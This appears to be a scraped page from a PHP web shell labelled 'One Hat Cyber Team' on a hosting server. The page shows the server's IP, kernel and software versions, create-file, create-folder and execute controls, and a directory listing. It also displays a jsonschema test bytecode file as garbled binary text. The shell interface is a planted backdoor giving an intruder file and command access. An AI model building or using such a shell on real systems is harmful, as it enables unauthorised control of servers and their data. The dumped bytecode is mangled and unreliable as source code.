⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.85
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
jsonschema
/
tests
/
__pycache__
/
View File Name :
test_deprecations.cpython-39.pyc
a ���g�= � @ s� d dl mZ d dlmZ d dlmZmZ d dlZd dl Z d dl Z d dlZd dlZ d dlZd dlmZmZmZmZ G dd� de�ZdS )� )�contextmanager)�BytesIO)�TestCase�mockN)� FormatChecker� exceptions� protocols� validatorsc @ s� e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd � Zd!d"� Zd#d$� Zd%d&� Zd'd(� Zd)d*� Zd+d,� Zd-d.� Zd/S )0�TestDeprecationsc C sb d}| � t|��}ddlm} W d � n1 s20 Y | �|tj�d�� | �|jt � dS )zY As of v4.0.0, __version__ is deprecated in favor of importlib.metadata. z.Accessing jsonschema.__version__ is deprecatedr )�__version__N� jsonschema) �assertWarnsRegex�DeprecationWarningr r �assertEqual� importlib�metadata�version�filename�__file__)�self�message�wr � r �S/opt/nydus/tmp/pip-target-mke_irhy/lib/python/jsonschema/tests/test_deprecations.py�test_version s *zTestDeprecations.test_versionc C s\ d}| � t|��}ddlm} W d � n1 s20 Y | �|tj� | �|jt� dS )z� As of v4.0.0, importing ErrorTree from jsonschema.validators is deprecated in favor of doing so from jsonschema.exceptions. z2Importing ErrorTree from jsonschema.validators is r �� ErrorTreeN)r r �jsonschema.validatorsr r r r r �r r r r r r r �test_validators_ErrorTree s *z*TestDeprecations.test_validators_ErrorTreec C s\ d}| � t|��}ddlm} W d � n1 s20 Y | �|tj� | �|jt� dS )z� As of v4.18.0, importing ErrorTree from the package root is deprecated in favor of doing so from jsonschema.exceptions. z9Importing ErrorTree directly from the jsonschema package r r N)r r r r r r r r r r r r �test_import_ErrorTree) s *z&TestDeprecations.test_import_ErrorTreec C s� t jddgd�}t �� }t j|gd�}d}| �t|��}||d<